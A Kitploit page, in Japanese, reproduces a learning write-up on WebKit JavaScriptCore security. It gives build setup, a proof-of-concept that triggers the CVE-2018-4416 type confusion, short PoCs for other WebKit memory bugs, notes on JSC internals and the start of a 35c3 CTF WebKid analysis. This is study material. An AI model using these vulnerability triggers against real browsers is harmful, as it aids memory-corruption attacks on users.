Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-4416-exploit — WebKit jsc CVE-2018-4416 のCVEエクスプロイト | Kitploit
ツール/GitHubGitHub/erupmi/cve-2018-4416-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育学習パスとコースバイナリエクスプロイト
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

WebKit jsc CVE-2018-4416 のCVEエクスプロイト

リポジトリを見る
932年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
  • はじめに :PROPERTIES: :CUSTOM_ID: preface :END: はい、バイナリセキュリティは /heap/ や /stack/ だけではありません。通常のCTFチャレンジ以外にも、まだまだ発見すべきことがたくさんあります。ブラウザ、仮想マシン、カーネルはいずれもバイナリセキュリティにおいて重要な役割を果たします。そして私はまずブラウザから学ぶことにしました。

比較的簡単なものとして /WebKit/ を選びました。(ChakraCore のほうが簡単かもしれませんが、LoL。でも Microsoft がプロジェクトを中止するという噂があります。そのため選ばないことにしました。)

/WebKit/ セキュリティに関する学習ノートをシリーズの投稿として記録します。ブラウザセキュリティを学ぶのは初めてなので、私の投稿には おそらく たくさんの 間違いがあるでしょう。もし気づいたら、遠慮なく訂正のためにご連絡ください。

読む前に知っておくべきこと:

  • C++ の文法
  • アセンブリ言語の文法
  • 仮想マシンのインストール
  • Ubuntu とそのコマンドラインに慣れていること
  • 基本的なコンパイラ理論の概念

  • セットアップ :PROPERTIES: :CUSTOM_ID: setup :END: さて、では始めましょう。

** 仮想マシン :PROPERTIES: :CUSTOM_ID: virtual-machine :END: まず、テスト対象としてVMをインストールする必要があります。ここでは /Ubuntu 18.04 LTS/ と /Ubuntu 16.04 LTS/ をターゲットホストとして選びます。ダウンロードは [[https://www.ubuntu.com/][こちら]] から。バージョンを指定しない場合は、18.04 LTS をデフォルトバージョン として使用してください。

Mac のほうが適切かもしれません。XCode と Safari があるからです。しかし、MacOS の高いリソース消費と不安定なアップデートを考慮すると、私は Ubuntu を使用します。

VM ソフトウェアが必要です。私は [[https://www.vmware.com/][VMWare]] を使用するのが好きです。Parallel Desktop や VirtualBox(無料)でも構いません。個人の習慣によります。

VMWare に Ubuntu をインストールする手順を一つ一つ説明はしません。ただし、コンパイルは大量のリソースを消費するため、できるだけ多くのメモリとCPU を割り当てるよう注意してください。80GB のディスクはソースコードとコンパイル済みファイルを保存するのに十分でしょう。

** ソースコード :PROPERTIES: :CUSTOM_ID: source-code :END: WebKit のソースコードは3つの方法でダウンロードできます: [[https://github.com/WebKit/webkit][/git/]]、/svn/、そして [[https://webkit.org/getting-the-code/][/archive/]]。

WebKit のデフォルトのバージョン管理は svn です。しかし、私は git を選びます(svn にあまり慣れていないので):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** デバッガとエディタ :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE は多くのリソースを消費するので、ソースコードの編集には vim を使います。

これまでに見たデバッグ作業のほとんどは、私が慣れていない lldb を使っていました。そのため、gdb に gef プラグインを追加してインストールします。

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** テスト :PROPERTIES: :CUSTOM_ID: test :END: *** JavaScriptCore のコンパイル :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 完全な WebKit をコンパイルするには多大な時間がかかります。現在は、ほとんどの脆弱性が存在する JSC(JavaScript Core)のみをコンパイルします。

今、WebKit ソースコードの ルートディレクトリ にいる必要があります。以下のコマンドを実行して依存関係を準備します:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

まだ完全な WebKit をコンパイルしていませんが、将来のテストのために残りの依存関係を先にインストールしておくこともできます。この手順は JSC のコンパイルには必須ではありません。時間をかけたくない場合はスキップしてください:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

その後、JSC をコンパイルします:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

数分後、JSC を次のように実行できます:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

いくつかテストしてみましょう:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** バグのトリガー :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote ここでは Ubuntu 18.04 LTS を使用 #+end_quote

[[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] を使ってテストします。以下が PoC です。=jsc= と同じフォルダに =poc.js= として保存してください:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // 最適化を開始 for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // "tmp" の構造IDは JSPropertyNameEnumerator に格納される
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // "obj" の構造IDは tmp と同じになる

      return obj[k];  // 型の混乱
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

まず、脆弱なバージョンに切り替えます:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote コンパイルよりもさらに時間がかかるかもしれません #+end_quote

実行:=./jsc poc.js= で、次の結果が得られます:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

最新バージョン(=git checkout master= で戻り、ビルドコンテンツを削除 =rm -rf WebKitBuild/Relase/= および =rm -rf WebKitBuild/Debug/=)で実行すると:

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > const&, unsigned long) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876a7a) ... // 多数のエラーメッセージ

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

これでバグのトリガーに成功しました!

詳細は説明しません(私もわかりません)。数週間後には根本原因を突き止められるといいのですが。


  • WebKit の脆弱性を理解する :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: さて、より深い話題に入る時です。WebKit のアーキテクチャについて話し始める前に、WebKit でよく見られるバグを見ていきましょう。

ここではバイナリレベルのバグについてのみ説明します。/URL Spoof/ や /UXSS/ のような高レベルなバグは対象外です。以下の例は WebKit だけのものではありません。Chrome のバグも含まれています。簡単に紹介し、後で PoC を具体的に分析します。

この部分を読む前に、コンパイラ理論に関する資料を読むことを強くお勧めします。基本的な Pwn の知識も学習しておくべきです。私の説明は明確ではありません。繰り返しますが、間違いを見つけたら訂正してください。

この投稿は、JSC の理解が深まるにつれて何度か更新されます。後で確認するのを忘れないでください。

** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: 別名 =UAF=。CTF チャレンジでよく見られる、典型的なシナリオです:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

いくつかのロジックエラーが原因で、解放されたメモリを再利用します。通常、解放されたメモリを制御できれば、リークや書き込みが可能になります。

CVE-2017-13791 は WebKit UAF の例です。PoC は以下の通り:

#+begin_example

a b #+end_example

** 2. Out of Bound :PROPERTIES: :CUSTOM_ID: out-of-bound :END: 別名 =OOB=。ブラウザにおけるオーバーフローのようなものです。近隣のメモリを読み書きできます。=OOB= は、配列の誤った最適化やチェック不足によって頻繁に発生します。 例えば([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example

#+begin_quote Function.bind が呼び出されると、その引数は JSBoundFunction::JSBoundFunction に渡される前に配列に転送されます。Array プロトタイプに setter が追加されている可能性があるため、ユーザースクリプトがこの配列への参照を取得し、その length をバックアップのネイティブバタフライ配列よりも長く変更することが可能です。その後、boundFunctionCall がこの配列を呼び出しパラメータにコピーしようとする際、length が割り当てられた配列よりも長くないと仮定します(変更されていなければ真です)が、結果として範囲外読み出しが発生します。 #+end_quote

ほとんどの場合、直接 =$RIP= レジスタを上書きすることはできません。エクスプロイト作成者は常に偽の配列を作成し、部分的な読み書きを任意の読み書きに変換します。

** 3. Type Confusion :PROPERTIES: :CUSTOM_ID: type-confusion :END: これはコンパイラを搭載したアプリケーションで発生する特別な脆弱性で、説明が少し難しいです。

次のオブジェクトを想像してください(32ビット):

#+begin_src C struct example{ int length; char *content; } #+end_src

そして、=length= == =5= で =content= ポインタを持つオブジェクトがメモリにあるとします。次のように見えるでしょう:

#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example

別のオブジェクトがあるとします:

#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src

コンパイラに =example= オブジェクトを =exploit= オブジェクトとして解析させることができます。=exp= 関数を任意のアドレスに変更して RCE を達成できます。

型混乱の例:

#+begin_example var q; function g(){ q = g.caller; return 7; }

var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example

[[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]] より引用

#+begin_quote webkit の組み込みスクリプトが strict モードであっても、それによって呼び出される関数が strict でない場合、その関数は Function.caller を呼び出して strict 関数への参照を取得できます。 #+end_quote

** 4. 整数オーバーフロー :PROPERTIES: :CUSTOM_ID: integer-overflow :END: 整数オーバーフローも CTF でよく見られます。整数オーバーフロー自体は RCE に至りませんが、おそらく =OOB= につながります。

このバグを理解するのは難しくありません。32ビットマシンで以下のコードを実行することを想像してください:

#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example

=eax= の最大値は =0xffffffff= です。=0xffffffff= + =2= = =0x100000001= を格納できません。そのため、上位バイトがオーバーフロー(削除)します。最終的な =eax= の結果は =0x00000001= です。

これは WebKit からの例です([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):

#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example

#+begin_quote length が正しくチェックされないため、配列を古い配列に展開することで length をオーバーフローさせることができます。そして、その拡張された配列を使って =OOB= を引き起こせます。 #+end_quote

** 5. その他 :PROPERTIES: :CUSTOM_ID: else :END: 分類が難しいバグもあります:

  • 競合状態
  • 未割り当てメモリ
  • ...

後で詳しく説明します。


  • JavaScriptCore 詳細 :PROPERTIES: :CUSTOM_ID: javascriptcore-in-depth :END: WebKit は主に以下を含みます:
  • JavaScriptCore:JavaScript 実行エンジン
  • WTF:/Web Template Library/、C++ STL ライブラリの代替。文字列操作、スマートポインタなどを備えています。ヒープ操作もここで独特です。
  • DumpRenderTree:=RenderTree= を生成
  • WebCore:最も複雑な部分。CSS、DOM、HTML、レンダリングなどを含みます。前述のコンポーネント以外のブラウザのほぼすべての部分を扱います。

そして JSC は以下を持ちます:

  • lexer
  • parser
  • スタートアップインタプリタ(LLInt)
  • 3つの JavaScript JIT コンパイラ。コンパイル時間は徐々に長くなりますが、実行速度は速くなります:
    • baseline JIT、初期 JIT
    • 低レイテンシ最適化 JIT(DFG)
    • 高スループット最適化 JIT(FTL)、JIT の最終段階
  • 2つの WebAssembly 実行エンジン:
    • BBQ
    • OMG

#+begin_quote まだ免責事項ですが、この投稿は WebKit のメカニズムの説明において 不正確 または 誤り を含む可能性があります #+end_quote

基本的なコンパイラ理論のコースを学んだことがあれば、lexer と parser は授業で教えられた通りです。しかし、コード生成の部分は苛立たしいものです。インタプリタ1つとコンパイラ3つ?JSC には他にも多くの型破りな機能があります。見てみましょう:

** JSC 値の表現 :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: 識別を容易にするため、JSC の値は異なる表現方法をとります:

  • ポインタ:=0000:PPPP:PPPP:PPPP=(0000 で始まり、その後にアドレス)
  • double(0001 または FFFE で始まる):
    • =0001:::****=
    • =FFFE:::****=
  • 整数:=FFFF:0000:IIII:IIII=(値の格納に =IIII:IIII= を使用)
  • false:=0x06=
  • true:=0x07=
  • undefined:=0x0a=
  • null:=0x02=

ただし、=0x0= は有効な値ではなく、クラッシュを引き起こす可能性があります。

** JSC オブジェクトモデル :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: 固定のクラスメンバを持つ Java とは異なり、JavaScript ではいつでもプロパティを追加できます。

そのため、プロパティを静的に整列させる従来の方法とは別に、JSC は動的プロパティを追加するための butterfly ポインタ を持っています。これは追加の配列のようなものです。いくつかの状況で説明します。

また、JSArray は動的に変更されるため、常に butterfly ポインタ に割り当てられます。

以下の図で概念を簡単に理解できます:

*** 0x0 高速 JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: プロパティが初期化されています:

#+begin_example var o = {f: 5, g: 6}; #+end_example

静的プロパティしかないため、butterfly ポインタはここでは null になります:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| NULL | --> Butterfly ポインタ

| 0xffff000 | --> JS形式の5 | 000000005 |

| 0xffff000 | | 000000006 | --> JS形式の6

#+end_example

JSObject の知識を広げましょう。見ての通り、各 =structure ID= には対応する構造テーブルがあります。テーブル内には、プロパティ名とそのオフセットが含まれています。先ほどのオブジェクト =o= の場合、テーブルは以下のようになります:

プロパティ名ロケーション
"f"インライン(0)
"g"インライン(1)

値を取得するとき(例:=var v = o.f=)、次の動作が発生します:

#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src

なぜコンパイラが =ID= が =42= とわかると直接オフセットで値を取得するのか疑問に思うかもしれません。これは インラインキャッシュ と呼ばれる仕組みで、より高速に値を取得できるようにします。これについてはあまり詳しく説明しません。詳細は [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][こちら]] をクリックしてください。

*** 0x1 動的にフィールドが追加された JSObject :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example

これで、butterfly にはスロットがあり、その値は7です。

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 |

#+end_example

*** 0x2 3つの配列要素のためのスペースを持つ JSArray :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example

butterfly は推定サイズで配列を初期化します。最初の要素 =0= は使用済みスロット数、=3= は最大スロット数を意味します:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0 | | ------------- (これらの2つの要素には8ビット) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example

*** 0x3 高速プロパティと配列要素を持つオブジェクト :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example

配列の要素を1つ埋めたので、=0=(使用済みスロット)が1に増えました:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |


root@kitploit:~
                 |   <hole>  |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example*** 0x4 高速かつ動的なプロパティと配列要素を持つオブジェクト :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example

新しいメンバはポインタアドレスの前に追加されます。配列はバタフライポインタの右側に、属性は左側に配置され、まるで蝶の羽のようです:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example

*** 0x5 動的なプロパティと配列要素を持つエキゾチックオブジェクト :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example

ビルトインクラスでバタフライを拡張します。静的プロパティは変わりません:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |


root@kitploit:~
                 | 0xffff000 |
                 | 000000007 |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example

** 型推論 :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScriptは弱い動的型付け言語です。コンパイラは型推論で多くの作業を行い、その結果非常に複雑になります。

*** ウォッチポイント :PROPERTIES: :CUSTOM_ID: watchpoints :END: ウォッチポイントは以下のケースで発生します: - haveABadTime - 構造遷移 - InferredValue - InferredType - その他多数...

上記の状況が発生すると、ウォッチポイントが最適化されているかどうかをチェックします。WebKitでは、次のように表現されます:

#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src

例えば、コンパイラが =42.toString()= を =="42"= に最適化したい場合(コードを使って変換するのではなく直接返す)、既に無効化されているかどうかをチェックします。そして、有効であればウォッチポイントを登録し、最適化を実行します。

** コンパイラ :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: 最初に、インタプリタはバイトコードテンプレートを生成します。例としてJVMを使用すると、別の種類のバイトコードテンプレートである =.class= ファイルを実行します。バイトコードは実行を容易にします:

#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example

*** 0x1. ベースラインJITとバイトコードテンプレート :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: 最も基本的なJITで、ここで =byte code template= を生成します。例えば、javascriptの /add/ です:

#+begin_example function foo(a, b) { return a + b; } #+end_example

これがバイトコードILです。複雑な字句解析を必要とせず、asmに変換するのにより便利です:

#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example

コードセグメント =7= と =12= は次のDFG IL(次に説明します)を生成します。操作時に多くの型関連情報があることがわかります。4行目では、戻り値の型が一致するかをチェックするコードがあります:

#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src

ASTは次のようになります:

#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example

*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: JSCが関数が数回実行されたことを検出すると、次のフェーズに進みます。最初のフェーズですでにバイトコードが生成されています。そのため、DFGパーサーはバイトコードを直接解析します。これは抽象度が低く、解析しやすいです。その後、DFGは最適化を行いコードを生成します:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example

このステップでは、コードが何度も実行され、型は比較的一定です。型チェックにはOSRが使われます。

これを最適化する前の状態を想像してください:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff

x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src

次のように最適化されます:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff

if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } #+end_src

このコードは =ptr= の型チェックが一度だけ行われるため、より高速に実行されます。/ptr/ の型が常に異なる場合、頻繁にベイルアウトするため、最適化されたコードは遅くなります。そのため、コードが何千回も実行された場合のみ、ブラウザは =OSR= を使って最適化します。

*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: 関数が100回または数千回実行されると、JITは FLT を使用します。DFG と同様に、FLT は バイトコードテンプレート を再利用しますが、より深い最適化を行います:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example

*** 0x4. 最適化についての詳細 :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: 異なる最適化フェーズでのIRの変化を見てみましょう:

| IR | スタイル | 例 | |----------+-------------------------+-----------------------------------------------------| | Bytecode | 高レベルLoad/Store | =bitor dst, left, right= | | DFG | 中レベルエキゾチックSSA | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | 低レベルノーマルSSA | =Int32 @dst = BitOr(@left, @right)= | | Air | アーキテクチャCISC | =Or32 %src, %dest= |

型チェックは徐々に排除されます。なぜブラウザのCVEにこれほど多くの型混乱があるのか、今理解できるかもしれません。さらに、それらはますますマシンコードに近づいています。

型チェックが失敗すると、コードは以前のIRに戻ります(例えば、B3 ステージで型チェックが失敗した場合、コンパイラは DFG に戻り、そのステージで実行します)。

** ガベージコレクタ (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: JSCのヒープはGCに基づいています。ヒープ内のオブジェクトは、参照に関するカウンタを持ちます。GCはヒープをスキャンして不要なメモリを収集します。

...まだ、より多くの資料が必要です...


  • エクスプロイトの作成 :PROPERTIES: :CUSTOM_ID: writing-exploitation :END: バグのエクスプロイトを始める前に、エクスプロイトを書くことがどれほど難しいかを見てみましょう。ここではエクスプロイトコードの記述に焦点を当て、脆弱性の詳細はあまり紹介しません。

このチャレンジは35c3 CTFの WebKid です。WebKitバイナリ(説明書付き)、準備されたVM、およびエクスプロイトコードを[[https://github.com/saelo/35c3ctf/tree/master/WebKid][ここ]]から入手できます。また、VMまたは実機(異なるmacOSバージョンでのクラッシュには影響しないと思いますが、攻撃プリミティブは異なるかもしれません)にmacOS Mojave (10.14.2) を準備する必要があります。

次のコマンドで実行します:

#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src

#+begin_quote フルパス を使用することを忘れないでください。そうしないとブラウザがクラッシュします #+end_quote

ローカルマシンで実行する場合、テスト用に =/flag1= を作成することを忘れないでください。

** 分析 :PROPERTIES: :CUSTOM_ID: analyzing :END: パッチを見てみましょう:

#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{

  • ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
  • Structure* previous = structure->previousID();
  • if (!previous)
  • root@kitploit:~
       return false;
    
  • unsigned unused;
  • bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
  • if (!isLastAddedProperty)
  • root@kitploit:~
       return false;
    
  • RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
  • if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
  • root@kitploit:~
       ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
    
  • root@kitploit:~
       thisObject->setButterfly(vm, nullptr);
    
  • }
  • thisObject->setStructure(vm, previous);
  • return true; +}

// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

root@kitploit:~
   Structure* structure = thisObject->structure(vm);
  • bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
  • PropertyOffset offset = structure->get(vm, propertyName, attributes);
  • bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false;
  • root@kitploit:~
       PropertyOffset offset;
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary())
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary()) {
           offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
    
  • root@kitploit:~
       else
    
  • root@kitploit:~
           thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
       } else {
    
  • root@kitploit:~
           if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
    
  • root@kitploit:~
               thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
           }
    
  • root@kitploit:~
       }
    
  • root@kitploit:~
       if (offset != invalidOffset)
    
  • root@kitploit:~
       if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
           thisObject->locationForOffset(offset)->clear();
    
    }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example

ここで最大の問題は =tryDeletePropertyQuickly= 関数に関するものです。これは次のように動作します(コメントは /Linus Henze/ によるものです):

